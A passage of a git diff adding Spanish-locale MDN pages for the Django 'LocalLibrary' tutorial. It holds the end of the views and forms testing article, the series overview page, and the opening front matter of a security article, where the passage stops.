+<p>Open the <strong>/catalog/tests/test_views.py</strong> file and replace any existing text with the following test code for <code>AuthorListView</code>. As before we import our model and some useful classes. In the <code>setUpTestData()</code> method we set up a number of <code>Author</code> objects so that we can test our pagination.</p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+
+# Create your tests here.
+
+from catalog.models import Author
+from django.urls import reverse
+
+class AuthorListViewTest(TestCase):
+
+    @classmethod
+    def setUpTestData(cls):
+        #Create 13 authors for pagination tests
+        number_of_authors = 13
+        for author_num in range(number_of_authors):
+            Author.objects.create(first_name='Christian %s' % author_num, last_name = 'Surname %s' % author_num,)
+
+    def test_view_url_exists_at_desired_location(self):
+        resp = self.client.get('/catalog/authors/')
+        self.assertEqual(resp.status_code, 200)
+
+    def test_view_url_accessible_by_name(self):
+        resp = self.client.get(reverse('authors'))
+        self.assertEqual(resp.status_code, 200)
+
+    def test_view_uses_correct_template(self):
+        resp = self.client.get(reverse('authors'))
+        self.assertEqual(resp.status_code, 200)
+
+        self.assertTemplateUsed(resp, 'catalog/author_list.html')
+
+    def test_pagination_is_ten(self):
+        resp = self.client.get(reverse('authors'))
+        self.assertEqual(resp.status_code, 200)
+        self.assertTrue('is_paginated' in resp.context)
+        self.assertTrue(resp.context['is_paginated'] == True)
+        self.assertTrue( len(resp.context['author_list']) == 10)
+
+    def test_lists_all_authors(self):
+        #Get second page and confirm it has (exactly) remaining 3 items
+        resp = self.client.get(reverse('authors')+'?page=2')
+        self.assertEqual(resp.status_code, 200)
+        self.assertTrue('is_paginated' in resp.context)
+        self.assertTrue(resp.context['is_paginated'] == True)
+        self.assertTrue( len(resp.context['author_list']) == 3)</pre>
+
+<p>All the tests use the client (belonging to our <code>TestCase</code>'s derived class) to simulate a <code>GET</code> request and get a response (<code>resp</code>). The first version checks a specific URL (note, just the specific path without the domain) while the second generates the URL from its name in the URL configuration.</p>
+
+<pre class="brush: python notranslate">resp = self.client.get('/catalog/authors/')
+resp = self.client.get(reverse('authors'))
+</pre>
+
+<p>Once we have the response we query it for its status code, the template used, whether or not the response is paginated, the number of items returned, and the total number of items.</p>
+
+<p>The most interesting variable we demonstrate above is <code>resp.context</code>, which is the context variable passed to the template by the view. This is incredibly useful for testing, because it allows us to confirm that our template is getting all the data it needs. In other words we can check that we're using the intended template and what data the template is getting, which goes a long way to verifying that any rendering issues are solely due to template.</p>
+
+<h4 id="Views_that_are_restricted_to_logged_in_users">Views that are restricted to logged in users</h4>
+
+<p>In some cases you'll want to test a view that is restricted to just logged in users. For example our <code>LoanedBooksByUserListView</code> is very similar to our previous view but is only available to logged in users, and only displays <code>BookInstance</code> records that are borrowed by the current user, have the 'on loan' status, and are ordered "oldest first".</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
+    """
+    Generic class-based view listing books on loan to current user.
+    """
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre>
+
+<p>Add the following test code to <strong>/catalog/tests/test_views.py</strong>. Here we first use <code>SetUp()</code> to create some user login accounts and <code>BookInstance</code> objects (along with their associated books and other records) that we'll use later in the tests. Half of the books are borrowed by each test user, but we've initially set the status of all books to "maintenance". We've used <code>SetUp()</code> rather than <code>setUpTestData()</code> because we'll be modifying some of these objects later.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>setUp()</code> code below creates a book with a specified <code>Language</code>, but <em>your</em> code may not include the <code>Language</code> model as this was created as a <em>challenge</em>. If this is the case, simply  comment out the parts of the code that create or import Language objects. You should also do this in the <code>RenewBookInstancesViewTest</code> section that follows.</p>
+</div>
+
+<pre class="brush: python notranslate">import datetime
+from django.utils import timezone
+
+from catalog.models import BookInstance, Book, Genre, Language
+from django.contrib.auth.models import User #Required to assign User as a borrower
+
+class LoanedBookInstancesByUserListViewTest(TestCase):
+
+    def setUp(self):
+        #Create two users
+        test_user1 = User.objects.create_user(username='testuser1', password='12345')
+        test_user1.save()
+        test_user2 = User.objects.create_user(username='testuser2', password='12345')
+        test_user2.save()
+
+        #Create a book
+        test_author = Author.objects.create(first_name='John', last_name='Smith')
+        test_genre = Genre.objects.create(name='Fantasy')
+        test_language = Language.objects.create(name='English')
+        test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language)
+        # Create genre as a post-step
+        genre_objects_for_book = Genre.objects.all()
+        test_book.genre.set(genre_objects_for_book) #Direct assignment of many-to-many types not allowed.
+        test_book.save()
+
+        #Create 30 BookInstance objects
+        number_of_book_copies = 30
+        for book_copy in range(number_of_book_copies):
+            return_date= timezone.now() + datetime.timedelta(days=book_copy%5)
+            if book_copy % 2:
+                the_borrower=test_user1
+            else:
+                the_borrower=test_user2
+            status='m'
+            BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=the_borrower, status=status)
+
+    def test_redirect_if_not_logged_in(self):
+        resp = self.client.get(reverse('my-borrowed'))
+        self.assertRedirects(resp, '/accounts/login/?next=/catalog/mybooks/')
+
+    def test_logged_in_uses_correct_template(self):
+        login = self.client.login(username='testuser1', password='12345')
+        resp = self.client.get(reverse('my-borrowed'))
+
+        #Check our user is logged in
+        self.assertEqual(str(resp.context['user']), 'testuser1')
+        #Check that we got a response "success"
+        self.assertEqual(resp.status_code, 200)
+
+        #Check we used correct template
+        self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html')
+</pre>
+
+<p>To verify that the view will redirect to a login page if the user is not logged in we use <code>assertRedirects</code>, as demonstrated in <code>test_redirect_if_not_logged_in()</code>. To verify that the page is displayed for a logged in user we first log in our test user, and then access the page again and check that we get a <code>status_code</code> of 200 (success). </p>
+
+<p>The rest of the test verify that our view only returns books that are on loan to our current borrower. Copy the (self-explanatory) code at the end of the test class above.</p>
+
+<pre class="brush: python notranslate">    def test_only_borrowed_books_in_list(self):
+        login = self.client.login(username='testuser1', password='12345')
+        resp = self.client.get(reverse('my-borrowed'))
+
+        #Check our user is logged in
+        self.assertEqual(str(resp.context['user']), 'testuser1')
+        #Check that we got a response "success"
+        self.assertEqual(resp.status_code, 200)
+
+        #Check that initially we don't have any books in list (none on loan)
+        self.assertTrue('bookinstance_list' in resp.context)
+        self.assertEqual( len(resp.context['bookinstance_list']),0)
+
+        #Now change all books to be on loan
+        get_ten_books = BookInstance.objects.all()[:10]
+
+        for copy in get_ten_books:
+            copy.status='o'
+            copy.save()
+
+        #Check that now we have borrowed books in the list
+        resp = self.client.get(reverse('my-borrowed'))
+        #Check our user is logged in
+        self.assertEqual(str(resp.context['user']), 'testuser1')
+        #Check that we got a response "success"
+        self.assertEqual(resp.status_code, 200)
+
+        self.assertTrue('bookinstance_list' in resp.context)
+
+        #Confirm all books belong to testuser1 and are on loan
+        for bookitem in resp.context['bookinstance_list']:
+            self.assertEqual(resp.context['user'], bookitem.borrower)
+            self.assertEqual('o', bookitem.status)
+
+    def test_pages_ordered_by_due_date(self):
+
+        #Change all books to be on loan
+        for copy in BookInstance.objects.all():
+            copy.status='o'
+            copy.save()
+
+        login = self.client.login(username='testuser1', password='12345')
+        resp = self.client.get(reverse('my-borrowed'))
+
+        #Check our user is logged in
+        self.assertEqual(str(resp.context['user']), 'testuser1')
+        #Check that we got a response "success"
+        self.assertEqual(resp.status_code, 200)
+
+        #Confirm that of the items, only 10 are displayed due to pagination.
+        self.assertEqual( len(resp.context['bookinstance_list']),10)
+
+        last_date=0
+        for copy in resp.context['bookinstance_list']:
+            if last_date==0:
+                last_date=copy.due_back
+            else:
+                self.assertTrue(last_date &lt;= copy.due_back)</pre>
+
+<p>You could also add pagination tests, should you so wish!</p>
+
+<h4 id="Testing_views_with_forms">Testing views with forms</h4>
+
+<p>Testing views with forms is a little more complicated than in the cases above, because you need to test more code paths: initial display, display after data validation has failed, and display after validation has succeeded. The good news is that we use the client for testing in almost exactly the same way as we did for display-only views.</p>
+
+<p>To demonstrate, let's write some tests for the view used to renew books (<code>renew_book_librarian()</code>):</p>
+
+<pre class="brush: python notranslate">from .forms import RenewBookForm
+
+@permission_required('catalog.can_mark_returned')
+def renew_book_librarian(request, pk):
+    """
+    View function for renewing a specific BookInstance by librarian
+    """
+    book_inst=get_object_or_404(BookInstance, pk = pk)
+
+    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+        form = RenewBookForm(request.POST)
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_inst.due_back = form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # If this is a GET (or any other method) create the default form
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,})
+
+    return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre>
+
+<p>We'll need to test that the view is only available to users who have the <code>can_mark_returned </code>permission, and that users are redirected to an HTTP 404 error page if they attempt to renew a <code>BookInstance</code> that does not exist. We should check that the initial value of the form is seeded with a date three weeks in the future, and that if validation succeeds we're redirected to the "all-borrowed books" view. As part checking the validation-fail tests we'll also check that our form is sending the appropriate error messages.</p>
+
+<p>Add the first part of the test class (shown below) to the bottom of <strong>/catalog/tests/test_views.py</strong>. This creates two users and two book instances, but only gives one user the permission required to access the view. The code to grant permissions during tests is shown in bold:</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned.
+
+class RenewBookInstancesViewTest(TestCase):
+
+    def setUp(self):
+        #Create a user
+        test_user1 = User.objects.create_user(username='testuser1', password='12345')
+        test_user1.save()
+
+        test_user2 = User.objects.create_user(username='testuser2', password='12345')
+        test_user2.save()
+<strong>        permission = Permission.objects.get(name='Set book as returned')
+        test_user2.user_permissions.add(permission)
+        test_user2.save()</strong>
+
+        #Create a book
+        test_author = Author.objects.create(first_name='John', last_name='Smith')
+        test_genre = Genre.objects.create(name='Fantasy')
+        test_language = Language.objects.create(name='English')
+        test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language,)
+        # Create genre as a post-step
+        genre_objects_for_book = Genre.objects.all()
+        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.
+        test_book.save()
+
+        #Create a BookInstance object for test_user1
+        return_date= datetime.date.today() + datetime.timedelta(days=5)
+        self.test_bookinstance1=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user1, status='o')
+
+        #Create a BookInstance object for test_user2
+        return_date= datetime.date.today() + datetime.timedelta(days=5)
+        self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')</pre>
+
+<p>Add the following tests to the bottom of the test class. These check that only users with the correct permissions (<em>testuser2</em>) can access the view. We check all the cases: when the user is not logged in, when a user is logged in but does not have the correct permissions, when the user has permissions but is not the borrower (should succeed), and what happens when they try to access a <code>BookInstance</code> that doesn't exist. We also check that the correct template is used.</p>
+
+<pre class="brush: python notranslate">    def test_redirect_if_not_logged_in(self):
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
+        #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)
+        self.assertEqual( resp.status_code,302)
+        self.assertTrue( resp.url.startswith('/accounts/login/') )
+
+    def test_redirect_if_logged_in_but_not_correct_permission(self):
+        login = self.client.login(username='testuser1', password='12345')
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
+
+        #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)
+        self.assertEqual( resp.status_code,302)
+        self.assertTrue( resp.url.startswith('/accounts/login/') )
+
+    def test_logged_in_with_permission_borrowed_book(self):
+        login = self.client.login(username='testuser2', password='12345')
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance2.pk,}) )
+
+        #Check that it lets us login - this is our book and we have the right permissions.
+        self.assertEqual( resp.status_code,200)
+
+    def test_logged_in_with_permission_another_users_borrowed_book(self):
+        login = self.client.login(username='testuser2', password='12345')
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
+
+        #Check that it lets us login. We're a librarian, so we can view any users book
+        self.assertEqual( resp.status_code,200)
+
+    def test_HTTP404_for_invalid_book_if_logged_in(self):
+        import uuid
+        test_uid = uuid.uuid4() #unlikely UID to match our bookinstance!
+        login = self.client.login(username='testuser2', password='12345')
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid,}) )
+        self.assertEqual( resp.status_code,404)
+
+    def test_uses_correct_template(self):
+        login = self.client.login(username='testuser2', password='12345')
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
+        self.assertEqual( resp.status_code,200)
+
+        #Check we used correct template
+        self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html')
+</pre>
+
+<p>Add the next test method, as shown below. This checks that the initial date for the form is three weeks in the future. Note how we are able to access the value of the initial value of the form field (shown in bold).</p>
+
+<pre class="brush: python notranslate">    def test_form_renewal_date_initially_has_date_three_weeks_in_future(self):
+        login = self.client.login(username='testuser2', password='12345')
+        resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
+        self.assertEqual( resp.status_code,200)
+
+        date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3)
+        self.assertEqual(<strong>resp.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future )
+</pre>
+
+<p>The next test (add this to the class too) checks that the view redirects to a list of all borrowed books if renewal succeeds. What differs here is that for the first time we show how you can <code>POST</code> data using the client. The post <em>data</em> is the second argument to the post function, and is specified as a dictionary of key/values.</p>
+
+<pre class="brush: python notranslate">    def test_redirects_to_all_borrowed_book_list_on_success(self):
+        login = self.client.login(username='testuser2', password='12345')
+        valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2)
+        resp = <strong>self.client.<em>post</em>(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future} )</strong>
+        self.assertRedirects(resp, reverse('all-borrowed') )
+</pre>
+
+<div class="warning">
+<p>The <em>all-borrowed</em> view was added as a <em>challenge</em>, and your code may instead redirect to the home page '/'. If so, modify the last two lines of the test code to be like the code below. The <code>follow=True</code> in the request ensures that the request returns the final destination URL (hence checking <code>/catalog/</code> rather than <code>/</code>).</p>
+
+<pre class="brush: python notranslate"> resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},<strong>follow=True</strong> )
+ <strong>self.assertRedirects(resp, '/catalog/')</strong></pre>
+</div>
+
+<p>Copy the last two functions into the class, as seen below. These again test <code>POST</code> requests, but in this case with invalid renewal dates. We use <code>assertFormError() </code>to verify that the error messages are as expected.</p>
+
+<pre class="brush: python notranslate">    def test_form_invalid_renewal_date_past(self):
+        login = self.client.login(username='testuser2', password='12345')
+        date_in_past = datetime.date.today() - datetime.timedelta(weeks=1)
+        resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':date_in_past} )
+        self.assertEqual( resp.status_code,200)
+        <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal in past')</strong>
+
+    def test_form_invalid_renewal_date_future(self):
+        login = self.client.login(username='testuser2', password='12345')
+        invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5)
+        resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':invalid_date_in_future} )
+        self.assertEqual( resp.status_code,200)
+        <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')</strong>
+</pre>
+
+<p>The same sorts of techniques can be used to test the other view.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>Django provides test APIs to check that the correct template is being called by your views, and to allow you to verify that the correct information is being sent. There is however no specific API support for testing in Django that your HTML output is rendered as expected.</p>
+
+<h2 id="Other_recommended_test_tools">Other recommended test tools</h2>
+
+<p>Django's test framework can help you write effective unit and integration tests — we've only scratched the surface of what the underlying <strong>unittest</strong> framework can do, let alone Django's additions (for example, check out how you can use <a href="https://docs.python.org/3.5/library/unittest.mock-examples.html">unittest.mock</a> to patch third party libraries so you can more thoroughly test your own code).</p>
+
+<p>While there are numerous other test tools that you can use, we'll just highlight two:</p>
+
+<ul>
+ <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: This Python tool reports on how much of your code is actually executed by your tests. It is particularly useful when you're getting started, and you are trying to work out exactly what you should test.</li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> is a framework to automate testing in a real browser. It allows you to simulate a real user interacting with the site, and provides a great framework for system testing your site (the next step up from integration testing.</li>
+</ul>
+
+<h2 id="Reto_para_mi_mismo">Reto para mi mismo</h2>
+
+<p>There are a lot more models and views we can test. As a simple task, try to create a test case for the <code>AuthorCreate</code> view.</p>
+
+<pre class="brush: python notranslate">class AuthorCreate(PermissionRequiredMixin, CreateView):
+    model = Author
+    fields = '__all__'
+    initial={'date_of_death':'12/10/2016',}
+    permission_required = 'catalog.can_mark_returned'</pre>
+
+<p>Remember that you need to check anything that you specify or that is part of the design. This will include who has access, the initial date, the template used, and where the view redirects on success.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Writing test code is neither fun nor glamorous, and is consequently often left to last (or not at all) when creating a website. It is however an essential part of making sure that your code is safe to release after making changes, and cost-effective to maintain.</p>
+
+<p>In this tutorial we've shown you how to write and run tests for your models, forms, and views. Most importantly we've provided a brief summary of what you should test, which is often the hardest thing to work out when your getting started. There is a lot more to know, but even with what you've learned already you should be able to create effective unit tests for your websites.</p>
+
+<p>The next and final tutorial shows how you can deploy your wonderful (and fully tested!) Django website.</p>
+
+<h2 id="Mirar_tambien">Mirar tambien</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/overview/">Writing and running tests</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial05/">Writing your first Django app, part 5 &gt; Introducing automated testing</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/">Testing tools reference</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/">Advanced testing topics</a> (Django docs)</li>
+ <li><a href="http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/">A Guide to Testing in Django</a> (Toast Driven Blog, 2011)</li>
+ <li><a href="http://test-driven-django-development.readthedocs.io/en/latest/index.html">Workshop: Test-Driven Web Development with Django</a> (San Diego Python, 2014)</li>
+ <li><a href="https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/">Testing in Django (Part 1) - Best Practices and Examples</a> (RealPython, 2013)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/tutorial_local_library_website/index.html b/files/es/learn/server-side/django/tutorial_local_library_website/index.html
new file mode 100644
index 0000000000..a7450fafd0
--- /dev/null
+++ b/files/es/learn/server-side/django/tutorial_local_library_website/index.html
@@ -0,0 +1,103 @@
+---
+title: 'Tutorial Django: El Sitio Web de La Biblioteca Local'
+slug: Learn/Server-side/Django/Tutorial_local_library_website
+tags:
+  - Aprendizaje
+  - Artículo
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Tutorial
+  - django
+  - lado servidor
+translation_of: Learn/Server-side/Django/Tutorial_local_library_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">El primer artículo de nuestra serie de tutoriales prácticos explica qué puedes aprender, y proporciona una visión general del sitio web de ejemplo de "biblioteca local" en el que estaremos trabajando y evolucionando en artículos subsiguientes.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>
+    <p>Leer la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a>. Durante los siguientes artículos necesitarás tener <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">levantado un entorno de desarrollo Django</a>. </p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Presentar el ejemplo de aplicación usado en este tutorial, y permitir que los lectores comprendan los temas que se tratarán aquí. </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_general">Visión general</h2>
+
+<p>Bienvenidos al tutorial de MDN sobre la "Biblioteca Local" Django en el que desarrollaremos un sitio web que podría usarse para gestionar el catálogo de una biblioteca local. </p>
+
+<p>En esta serie de tutoriales:</p>
+
+<ul>
+ <li>Usarás las herramientas de Django para crear el esqueleto de un sitio web y una aplicación.</li>
+ <li>Arrancarás y pararás el servidor de desarrollo.</li>
+ <li>Crearás modelos para representar los datos de tu aplicación.</li>
+ <li>Usarás el sitio de administración de Django para rellenar los datos de tu sitio.</li>
+ <li>Crearás views para recuperar datos específicos en respuesta a diferentes peticiones, y plantillas para renderizar los datos como HTML que serán presentados en pantalla por el explorador web.</li>
+ <li>Crearás mapeadores para asociar los diferentes patrones URL con views específicas.</li>
+ <li>Añadirás autorizaciones de usuario y sesiones para controlar el comportamiento del sitio y acceso al mismo.</li>
+ <li>Trabajarás con formularios.</li>
+ <li>Escribirás código para comprobar tu aplicación.</li>
+ <li>Usarás la seguridad de Django con eficacia.</li>
+ <li>Desplegarás tu aplicación a producción.</li>
+</ul>
+
+<p>Has aprendido algo de estos tópicos ya, y tocado otros brevemente. Al final de esta serie de tutoriales sabrás lo suficiente para desarrollar aplicaciones simples Django por tí mismo.</p>
+
+<h2 id="El_sitio_web_de_la_Biblioteca_Local">El sitio web de la Biblioteca Local</h2>
+
+<p><em>BibliotecaLocal</em> es el nombre del sitio web que crearemos para evolucionar a lo largo del curso de esta serie de tutoriales. Como habrás supuesto, el propósito de este sitio web es proporcionar un catálogo online para una pequeña biblioteca local, en la que los usuarios pueden explorar los libros disponibles y gestionar sus cuentas.</p>
+
+<p>Este ejemplo ha sido seleccionado cuidadosamente porque puede escalar para mostrar tanto mucho detalle como poco según necesitemos, y puede usarse para mostrar casi cualquier característica de Django. Más importante aún, nos permite proporcionar un camino guiado a través de las funcionalidades más importantes del framework web Django:</p>
+
+<ul>
+ <li>En los primeros artículos del tutorial definiremos una blibioteca simple para <em>explorar sólo</em> que podrán usar sus miembros para encontrar qué libros están disponibles. Esto nos permitirá explorar las operaciones que son comunes a casi todos los sitios web: lectura y presentación de los contenidos de una base de datos.</li>
+ <li>A medida que progresemos, el ejemplo de la biblioteca demostrará características más avanzadas de Django. Por ejemplo podremos extender la biblioteca para permitir a los usuarios reservar libros, y usar ésto para demostrar cómo se usan los formularios, y soportar la autenticación de usuario.</li>
+</ul>
+
+<p>Incluso aunque es un ejemplo muy extenso, se llama <em>Biblioteca<strong>Local</strong></em> por una razón — esperamos mostrar el mínimo de información que te ayude a ponerte en marcha con Django rápidamente. Como resultado almacenaremos información sobre libros, copias de libros, autores y otras información clave. Sin embargo, no almacenaremos información sobre otros elementos que una biblioteca podría almacenar, ni proporcionaremos la infraestructura necesaría para mantener multiples sitios de bibliotecas u otras características de una "gran biblioteca".</p>
+
+<h2 id="Estoy_atascado_¿Donde_puedo_encontrar_el_código_fuente">Estoy atascado, ¿Donde puedo encontrar el código fuente?</h2>
+
+<p>A medida que avances a través del tutorial te proporcionaremos los fragmentos de código apropiados para que copies y pegues en cada punto, y habrá otro código que esperamos que puedas entender tú mismo (con algo de ayuda).</p>
+
+<p>Si te quedas atascado, puedes encontrar la versión completamente desarrollada <a href="https://github.com/mdn/django-locallibrary-tutorial">en el sitio web de Github aquí</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora que sabes un poco más sobre el sitio de la <em>BibliotecaLocal</em> y lo que vas a aprender, es hora de empezar a crear el <a href="/es/docs/Learn/Server-side/Django/skeleton_website">esqueleto(estructura)</a> de nuestro proyecto.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/web_application_security/index.html b/files/es/learn/server-side/django/web_application_security/index.html
new file mode 100644
index 0000000000..e00a1771bb
--- /dev/null
+++ b/files/es/learn/server-side/django/web_application_security/index.html
@@ -0,0 +1,176 @@
+---
+title: Seguridad de las aplicaciones web Django
+slug: Learn/Server-side/Django/web_application_security
+translation_of: Learn/Server-side/Django/web_application_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Proteger los datos de los usuarios es una parte esencial de cualquier diseño de un sitio web. Previamente ya explicamos algunas de las amenazas de seguridad más comunes en el artículo <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Seguridad Web</a> — este artículo proporciona una demostración práctica de cómo las protecciones integradas de Django gestionan estas amenazas.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
